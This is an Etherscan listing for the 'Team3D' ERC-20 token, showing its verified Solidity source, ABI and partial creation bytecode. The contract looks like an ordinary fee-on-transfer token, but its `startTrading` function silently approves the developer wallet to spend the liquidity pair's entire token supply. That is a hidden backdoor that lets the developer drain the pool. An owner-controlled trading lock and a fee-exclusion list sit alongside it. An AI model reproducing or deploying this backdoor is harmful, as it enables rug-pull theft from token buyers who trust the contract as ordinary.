Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 TEAM3D
Holders
100
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Team3D
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-06 */ /** *Submitted for verification at Etherscan.io on 2023-08-04 */ // SPDX-License-Identifier: MIT /** Website: https://www.team3d.cloud Telegram: https://t.me/team3dcoin Twitter: https://twitter.com/team3dcoin */ pragma solidity ^0.8.21; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; address private _previousOwner; modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function owner() public view returns (address) { return _owner; } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function WETH() external pure returns (address); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Team3D is Context, IERC20, Ownable { IUniswapV2Router02 public uniswapV2Router; address public _pairUniv2Address; using SafeMath for uint256; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _tOwned; mapping(address => uint256) private _rOwned; uint256 private constant MAX = ~uint256(0); uint256 private _circuit_supply = (MAX - (MAX % _total_supply)); address payable public dev_wallet = payable(0x7C56b02f2AEa7C1d8515AAAF134aE36CA81Ea5c5); address payable public marketing_wallet = payable(0xF240826BCc6d69079f3270c611D1fe366EB722Fd); uint256 private constant _total_supply = 1_000_000_000 * 10**9; string private constant _name = "Team3D"; string private constant _symbol = "TEAM3D"; uint8 private constant _decimals = 9; uint256 public _max_wallet_limit_size = _total_supply * 45 / 1000; uint256 public _swap_amount_at = _total_supply / 10000; uint256 public _maxTxSizeAmount = _total_supply * 45 / 1000; uint256 private _temp_tax_total; uint256 private _marketing_buy_fee_amount = 0; uint256 private _dev_buy_fee_amount = 0; uint256 private _sell_market_fee_amount = 0; uint256 private _sell_dev_fee_amount = 0; uint256 private _marketing_tax = _sell_market_fee_amount; uint256 private _dev_tax = _sell_dev_fee_amount; uint256 private _pre_marketing_fee = _marketing_tax; uint256 private _pre_dev_fee = _dev_tax; bool private _swap_active = true; bool private start_trading = false; bool private _ok_swapping = false; mapping(address => bool) private _is_excluded_from_fee; modifier lockInSwap { _ok_swapping = true; _; _ok_swapping = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _is_excluded_from_fee[owner()] = true; _is_excluded_from_fee[address(this)] = true; _is_excluded_from_fee[marketing_wallet] = true; _is_excluded_from_fee[dev_wallet] = true; // mint _rOwned[_msgSender()] = _circuit_supply; emit Transfer(address(0), _msgSender(), _total_supply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function totalSupply() public pure override returns (uint256) { return _total_supply; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function swapBack(uint256 tokenAmount) private lockInSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _circuit_supply; uint256 tSupply = _total_supply; if (rSupply < _circuit_supply.div(_total_supply)) return (_circuit_supply, _total_supply); return (rSupply, tSupply); } function returnTaxes() private { _marketing_tax = _pre_marketing_fee; _dev_tax = _pre_dev_fee; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _circuit_supply, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _transfer( address from, address to, uint256 amount ) private { require(to != address(0), "ERC20: transfer to the zero address"); require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if ( from != owner() && to != owner() ) { //Trade start check if (!start_trading) { require( from == owner(), "Error: This account cannot send tokens until trading is enabled" ); } require(amount <= _maxTxSizeAmount, "Error: Max Transaction Limit"); if(to != _pairUniv2Address) { require(balanceOf(to) + amount < _max_wallet_limit_size, "Error: Balance exceeds wallet size!"); } uint256 contractBalanceForTokens = balanceOf(address(this)); bool canSwap = contractBalanceForTokens >= _swap_amount_at; if(contractBalanceForTokens >= _maxTxSizeAmount) {contractBalanceForTokens = _maxTxSizeAmount;} if (_swap_active && canSwap && !_ok_swapping && from != _pairUniv2Address && !_is_excluded_from_fee[from] && !_is_excluded_from_fee[to] ) { swapBack(contractBalanceForTokens); uint256 balanceOfEth = address(this).balance; if (balanceOfEth > 0) { sendAllEth(address(this).balance); } } } bool takingFee = true; //Transfer Tokens if ( (_is_excluded_from_fee[from] || _is_excluded_from_fee[to]) || (from != _pairUniv2Address && to != _pairUniv2Address) ) { takingFee = false; } else { //Set Fee for Buys if(from == _pairUniv2Address && to != address(uniswapV2Router)) { _marketing_tax = _marketing_buy_fee_amount; _dev_tax = _dev_buy_fee_amount; } //Set Fee for Sells if (to == _pairUniv2Address && from != address(uniswapV2Router)) { _marketing_tax = _sell_market_fee_amount; _dev_tax = _sell_dev_fee_amount; } } _transferTokensWithTax(from, to, amount, takingFee); } function _getTValues( uint256 tAmount, uint256 teamFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(teamFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } //set maximum transaction function removeLimits() public onlyOwner { _maxTxSizeAmount = _total_supply; _max_wallet_limit_size = _total_supply; } function startTrading(address _uniPairV2) public onlyOwner { _pairUniv2Address = _uniPairV2; _approve(_pairUniv2Address, dev_wallet, _total_supply); start_trading = true; } function _takeAllFee(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _transferTokensWithTax( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) { removeTaxes(); } _transferTokensOnly(sender, recipient, amount); if (!takeFee) { returnTaxes(); } } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _marketing_tax, _dev_tax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function removeTaxes() private { if (_marketing_tax == 0 && _dev_tax == 0) return; _pre_marketing_fee = _marketing_tax; _pre_dev_fee = _dev_tax; _marketing_tax = 0; _dev_tax = 0; } function sendAllTaxes(uint256 rFee, uint256 tFee) private { _circuit_supply = _circuit_supply.sub(rFee); _temp_tax_total = _temp_tax_total.add(tFee); } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _is_excluded_from_fee[accounts[i]] = excluded; } } function sendAllEth(uint256 amount) private { uint256 distributionNum = 2; uint256 devETHAmount = amount / distributionNum; dev_wallet.transfer(devETHAmount); devETHAmount -= amount / (distributionNum + 1); uint256 marketingETH = amount - devETHAmount; marketing_wallet.transfer(marketingETH); } //set minimum tokens required to swap. function setSwapTokenAmount(uint256 swapTokensAtAmount) public onlyOwner { _swap_amount_at = swapTokensAtAmount; } function _transferTokensOnly( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); sendAllTaxes(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxSizeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_max_wallet_limit_size","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pairUniv2Address","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swap_amount_at","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dev_wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketing_wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniPairV2","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400005f196200001b9190620005aa565b5f196200002991906200060e565b600755737c56b02f2aea7c1d8515aaaf134ae36ca81ea5c560085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f240826bcc6d69079f3270c611d1fe366eb722fd60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e8602d670de0b6b3a7640000620000ee919062000648565b620000fa919062000692565b600a55612710670de0b6b3a764000062000115919062000692565b600b556103e8602d670de0b6b3a764000062000132919062000648565b6200013e919062000692565b600c555f600e555f600f555f6010555f601155601054601255601154601355601254601455601354601555600160165f6101000a81548160ff0219169083151502179055505f601660016101000a81548160ff0219169083151502179055505f601660026101000a81548160ff021916908315150217905550348015620001c3575f80fd5b505f620001d56200054660201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160175f620002de6200054d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160175f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160175f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160175f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075460065f620004846200054660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620004d16200054660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620005379190620006da565b60405180910390a350620006f5565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620005b68262000574565b9150620005c38362000574565b925082620005d657620005d56200057d565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200061a8262000574565b9150620006278362000574565b9250828203905081811115620006425762000641620005e1565b5b92915050565b5f620006548262000574565b9150620006618362000574565b9250828202620006718162000574565b915082820484148315176200068b576200068a620005e1565b5b5092915050565b5f6200069e8262000574565b9150620006ab8362000574565b925082620006be57620006bd6200057d565b5b828204905092915050565b620006d48162000574565b82525050565b5f602082019050620006ef5f830184620006c9565b92915050565b61330780620007035f395ff3fe608060405260043610610143575f3560e01c806340e19609116100b55780638da5cb5b1161006e5780638da5cb5b1461042257806395d89b411461044c578063a9059cbb14610476578063c492f046146104b2578063dd62ed3e146104da578063f2fde38b146105165761014a565b806340e196091461033e57806370a0823114610368578063715018a6146103a45780637164aba8146103ba5780637231d217146103e4578063751039fc1461040c5761014a565b806323b872dd1161010757806323b872dd1461023257806328e255f21461026e578063313ce5671461029857806333c308fb146102c257806333c6c4cd146102ec5780633e979e31146103145761014a565b806306fdde031461014e578063095ea7b3146101785780631694505e146101b457806318160ddd146101de5780631d5b53ba146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b5061016261053e565b60405161016f9190612469565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061251e565b61057b565b6040516101ab9190612576565b60405180910390f35b3480156101bf575f80fd5b506101c8610598565b6040516101d591906125ea565b60405180910390f35b3480156101e9575f80fd5b506101f26105bd565b6040516101ff9190612612565b60405180910390f35b348015610213575f80fd5b5061021c6105cc565b604051610229919061263a565b60405180910390f35b34801561023d575f80fd5b5061025860048036038101906102539190612653565b6105f1565b6040516102659190612576565b60405180910390f35b348015610279575f80fd5b506102826106c5565b60405161028f9190612612565b60405180910390f35b3480156102a3575f80fd5b506102ac6106cb565b6040516102b991906126be565b60405180910390f35b3480156102cd575f80fd5b506102d66106d3565b6040516102e391906126f7565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d9190612710565b6106f8565b005b34801561031f575f80fd5b50610328610796565b6040516103359190612612565b60405180910390f35b348015610349575f80fd5b5061035261079c565b60405161035f91906126f7565b60405180910390f35b348015610373575f80fd5b5061038e6004803603810190610389919061273b565b6107c1565b60405161039b9190612612565b60405180910390f35b3480156103af575f80fd5b506103b861080f565b005b3480156103c5575f80fd5b506103ce61095d565b6040516103db9190612612565b60405180910390f35b3480156103ef575f80fd5b5061040a6004803603810190610405919061273b565b610963565b005b348015610417575f80fd5b50610420610aaa565b005b34801561042d575f80fd5b50610436610b5e565b604051610443919061263a565b60405180910390f35b348015610457575f80fd5b50610460610b85565b60405161046d9190612469565b60405180910390f35b348015610481575f80fd5b5061049c6004803603810190610497919061251e565b610bc2565b6040516104a99190612576565b60405180910390f35b3480156104bd575f80fd5b506104d860048036038101906104d391906127f1565b610bdf565b005b3480156104e5575f80fd5b5061050060048036038101906104fb919061284e565b610d14565b60405161050d9190612612565b60405180910390f35b348015610521575f80fd5b5061053c6004803603810190610537919061273b565b610d96565b005b60606040518060400160405280600681526020017f5465616d33440000000000000000000000000000000000000000000000000000815250905090565b5f61058e610587610f53565b8484610f5a565b6001905092915050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6105fd84848461111d565b6106ba84610609610f53565b6106b5856040518060600160405280602881526020016132aa6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61066c610f53565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118a19092919063ffffffff16565b610f5a565b600190509392505050565b600a5481565b5f6009905090565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610700610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610783906128d6565b60405180910390fd5b80600b8190555050565b600c5481565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61080860065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611903565b9050919050565b610817610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a906128d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b61096b610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee906128d6565b60405180910390fd5b8060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a8c60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610f5a565b6001601660016101000a81548160ff02191690831515021790555050565b610ab2610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b35906128d6565b60405180910390fd5b670de0b6b3a7640000600c81905550670de0b6b3a7640000600a81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5445414d33440000000000000000000000000000000000000000000000000000815250905090565b5f610bd5610bce610f53565b848461111d565b6001905092915050565b610be7610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a906128d6565b60405180910390fd5b5f5b83839050811015610d0e578160175f868685818110610c9757610c966128f4565b5b9050602002016020810190610cac919061273b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610d069061294e565b915050610c75565b50505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d9e610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e21906128d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8f90612a05565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90612a93565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90612b21565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111109190612612565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612baf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f090612c3d565b60405180910390fd5b5f811161123b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123290612ccb565b60405180910390fd5b611243610b5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112b15750611281610b5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156115ae57601660019054906101000a900460ff16611340576112d2610b5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133690612d59565b60405180910390fd5b5b600c54811115611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612dc1565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461143157600a54816113e6846107c1565b6113f09190612ddf565b10611430576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142790612e82565b60405180910390fd5b5b5f61143b306107c1565b90505f600b548210159050600c54821061145557600c5491505b60165f9054906101000a900460ff16801561146d5750805b80156114865750601660029054906101000a900460ff16155b80156114df575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611532575060175f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611585575060175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115ab576115938261196f565b5f4790505f8111156115a9576115a847611bda565b5b505b50505b5f6001905060175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061164e575060175f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806116ff575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffff